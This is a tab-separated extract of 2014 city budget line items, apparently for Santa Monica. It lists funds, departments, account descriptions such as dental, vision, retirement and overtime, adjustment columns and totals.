10193	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	7872.0	0	0	0	0.0	0	425.0	0	0	0	0	0.0	8297.0
10194	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	26910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26910.0
10195	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	43393.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43393.0
10196	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	48374.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48374.0
10197	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	66504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66504.0
10198	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	487311.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	487311.0
10199	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	43507.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43507.0
10200	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	48609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48609.0
10201	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	23689.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23689.0
10202	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	2917.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2917.0
10203	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	1512.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1512.0
10204	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1838.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1838.0
10205	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
10206	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DCAP	812.0	Salaries and Wages	2014	756.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	756.0
10207	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DCAP	812.0	Salaries and Wages	2014	786.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	786.0
10208	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	3090.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3090.0
10209	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	6471.0	0	0	0	0.0	79	0.0	0	0	0	0	0.0	6550.0
10210	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	12353.0	0	0	0	0.0	163	0.0	0	0	0	0	0.0	12516.0
10211	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EAP	816.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
10212	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3066.0	0	0	0	0.0	42	0.0	0	0	0	0	0.0	3108.0
10213	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	2764.0	0	0	0	0.0	0	79.0	0	0	0	0	0.0	2843.0
10214	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	115944.0	0	0	0	5245.0	2235	-167.0	0	0	0	0	0.0	123257.0
10215	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	3306.0	0	0	0	644.0	0	0.0	0	0	0	0	0.0	3950.0
10216	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	4589	418.0	0	0	0	0	0.0	5007.0
10217	B1	IS	1	General Fund	310	FIRE	315	TRAINING		DCAP	806.0	Salaries and Wages	2014	204.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	204.0
10218	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		UNEMPLOYMENT	840.0	Salaries and Wages	2014	7635.0	0	0	0	0.0	109	0.0	0	0	0	0	0.0	7744.0
10219	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EAP	840.0	Salaries and Wages	2014	2279.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2279.0
10220	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DCAP	808.0	Salaries and Wages	2014	984.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	984.0
10221	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	265.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	265.0
10222	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	5325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5325.0
10223	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	1296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1296.0
10224	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2070.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2070.0
10225	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	18250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18250.0
10226	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	189443.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	189443.0
10227	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	157806.0	0	0	0	0.0	2426	0.0	0	0	0	0	0.0	160232.0
10228	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2014	79685.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79685.0
10229	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	12167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12167.0
10230	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511749.0	VISION	806.0	Salaries and Wages	2014	22248.0	0	0	0	1154.0	0	-54.0	0	0	0	0	0.0	23348.0
10231	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511748.0	DENTAL	806.0	Salaries and Wages	2014	85319.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	85694.0
10232	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511749.0	VISION	806.0	Salaries and Wages	2014	11609.0	0	0	0	0.0	0	54.0	0	0	0	0	0.0	11663.0
10233	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511748.0	DENTAL	806.0	Salaries and Wages	2014	2566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2566.0
10234	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	23521.0	0	0	0	0.0	0	-132.0	0	0	0	0	0.0	23389.0
10235	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	2882.0	0	0	0	0.0	0	-4.0	0	0	0	0	0.0	2878.0
10236	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	1841.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1841.0
10237	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511749.0	VISION	816.0	Salaries and Wages	2014	825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	825.0
10238	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511748.0	DENTAL	816.0	Salaries and Wages	2014	6668.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6668.0
10239	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	8017.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8017.0
10240	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2014	76306.0	0	0	0	0.0	0	1125.0	0	0	0	0	0.0	77431.0
10241	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	748938.0	0	0	0	137162.0	0	-4167.0	0	0	0	0	0.0	881933.0
10242	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	84748.0	0	0	0	15528.0	0	-708.0	0	0	0	0	0.0	99568.0
10243	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	1028946.0	0	0	0	0.0	0	4167.0	0	0	0	0	0.0	1033113.0
10244	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	113197.0	0	0	0	63395.0	3502	0.0	0	0	0	0	0.0	180094.0
10245	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	93033.0	0	0	0	0	0.0	93033.0
10246	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400740.0	OTHER FINES / FORFEITURES	614.0	Fines and Forfeitures	2014	-90000.0	0	0	0	0.0	0	30000.0	0	0	0	0	0.0	-60000.0
10247	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511749.0	VISION	806.0	Salaries and Wages	2014	1797.0	0	0	0	625.0	0	0.0	0	0	0	0	0.0	2422.0
10248	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511749.0	VISION	806.0	Salaries and Wages	2014	1798.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1798.0
10249	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511747.0	CASH-IN-LIEU	804.0	Salaries and Wages	2014	1800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1800.0
10250	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511749.0	VISION	816.0	Salaries and Wages	2014	4846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4846.0
10251	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	7115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7115.0
10252	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511748.0	DENTAL	810.0	Salaries and Wages	2014	9102.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9102.0
10253	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	1615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1615.0
10254	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	4681.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4681.0
10255	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	12165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12165.0
10256	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	9230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9230.0
10257	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511748.0	DENTAL	840.0	Salaries and Wages	2014	7751.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7751.0
10258	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511749.0	VISION	808.0	Salaries and Wages	2014	686.0	0	0	0	0.0	0	54.17	0	0	0	0	0.0	740.17
10259	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	1770.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1770.0
10260	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	64394.0	0	0	0	0	0.0	64394.0
10261	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10390.0
10262	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2854.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2854.0
10263	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	827.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	827.0
10264	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DCAP	804.0	Salaries and Wages	2014	1464.0	0	0	0	0.0	0	-5.0	0	0	0	0	0.0	1459.0
10265	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		UNEMPLOYMENT	804.0	Salaries and Wages	2014	34950.0	0	0	0	339.0	0	0.0	0	0	0	0	0.0	35289.0
10266	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	26776.0	0	0	0	190.0	0	0.0	0	0	0	0	0.0	26966.0
10267	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1476.0	0	0	0	0.0	11	0.0	0	0	0	0	0.0	1487.0
10268	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2343.0	0	0	0	0.0	33	0.0	0	0	0	0	0.0	2376.0
10269	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	9041.0	0	0	0	-74.0	126	-53.0	0	0	0	0	0.0	9040.0
10270	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	6458.0	0	0	0	0.0	0	-105.0	0	0	0	0	0.0	6353.0
10271	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	14606.0	0	0	0	-116.0	200	-82.0	0	0	0	0	0.0	14608.0
10272	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2014	1458.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1458.0
10273	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3072.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3072.0
10274	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	8954.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8954.0
10275	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	0.0	0	0	0	0.0	160	0.0	0	0	0	0	0.0	160.0
10276	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	5479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5479.0
10277	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1844.0
10278	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	6600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6600.0
10279	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2014	2058.0	0	0	0	0.0	13	0.0	0	0	0	0	0.0	2071.0
10280	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EAP	816.0	Salaries and Wages	2014	622.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	622.0
10281	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	17447.0	0	0	0	0.0	243	0.0	0	0	0	0	0.0	17690.0
10282	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EAP	804.0	Salaries and Wages	2014	831.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	831.0
10283	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	7742.0	0	0	0	1260.0	0	-79.0	0	0	0	0	0.0	8923.0
10284	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		UNEMPLOYMENT	806.0	Salaries and Wages	2014	42307.0	0	0	0	0.0	814	158.0	0	0	0	0	0.0	43279.0
10285	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DCAP	806.0	Salaries and Wages	2014	7920.0	0	0	0	0.0	0	25.0	0	0	0	0	0.0	7945.0
10286	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DCAP	806.0	Salaries and Wages	2014	6684.0	0	0	0	0.0	0	225.0	0	0	0	0	0.0	6909.0
10287	B1	IS	1	General Fund	310	FIRE	315	TRAINING		UNEMPLOYMENT	806.0	Salaries and Wages	2014	1826.0	0	0	0	0.0	103	0.0	0	0	0	0	0.0	1929.0
10288	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	13904.0	0	0	0	0.0	0	42.0	0	0	0	0	0.0	13946.0
10289	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	90973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90973.0
10290	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	159755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	159755.0
10291	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	19100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19100.0
10292	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	413894.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413894.0
10293	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	708.33	0	0	0	0	0.0	11098.33
10294	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	7819.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7819.0
10295	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511748.0	DENTAL	806.0	Salaries and Wages	2014	15504.0	0	0	0	5092.0	0	0.0	0	0	0	0	0.0	20596.0
10296	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	8783.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	9158.0
10297	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	383.0
10298	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511749.0	VISION	816.0	Salaries and Wages	2014	816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	816.0
10299	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511748.0	DENTAL	816.0	Salaries and Wages	2014	23704.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23704.0
10300	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511749.0	VISION	816.0	Salaries and Wages	2014	2909.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2909.0
10301	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511749.0	VISION	816.0	Salaries and Wages	2014	1520.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1520.0
10302	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	6768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6768.0
10303	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	10165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10165.0
10304	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511749.0	VISION	840.0	Salaries and Wages	2014	973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	973.0
10305	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		UNEMPLOYMENT	804.0	Salaries and Wages	2014	449.0	0	0	0	0.0	7	0.0	0	0	0	0	0.0	456.0
10306	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4160.0	0	0	0	0.0	0	79.17	0	0	0	0	0.0	4239.17
10307	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5915.0	0	0	0	0.0	49	0.0	0	0	0	0	0.0	5964.0
10308	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DCAP	808.0	Salaries and Wages	2014	360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	360.0
10309	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DCAP	810.0	Salaries and Wages	2014	552.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	552.0
10310	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
10311	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
10312	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	44126.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44126.0
10313	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
10314	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	18907.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18907.0
10315	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
10316	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522134.0	UTIL-WATER-PARKING AUTH	804.0	 Supplies and Expenses	2014	47742.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47742.0
10317	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522184.0	BANK FEES-PARKING AUTHORITY	804.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
10318	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522710.0	AUTO REIMBURSEMENT	804.0	 Supplies and Expenses	2014	35129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35129.0
10319	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404090.0	LEASE RENTAL REVENUE	662.0	Other	2014	-1698160.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1698160.0
10320	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	401801.0	PROCEEDS	662.0	Other	2014	0.0	0	0	0	0.0	-44800	0.0	0	0	0	0	0.0	-44800.0
10321	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2014	246327.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	246327.0
